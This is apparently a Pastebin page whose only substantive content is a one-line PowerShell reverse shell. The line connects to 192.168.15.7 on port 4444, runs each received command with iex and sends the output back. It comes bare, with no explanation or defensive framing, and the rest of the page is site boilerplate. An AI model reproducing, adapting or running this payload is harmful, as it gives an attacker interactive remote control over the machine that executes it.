Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $sm=(New-Object Net.Sockets.TCPClient("192.168.15.7",4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement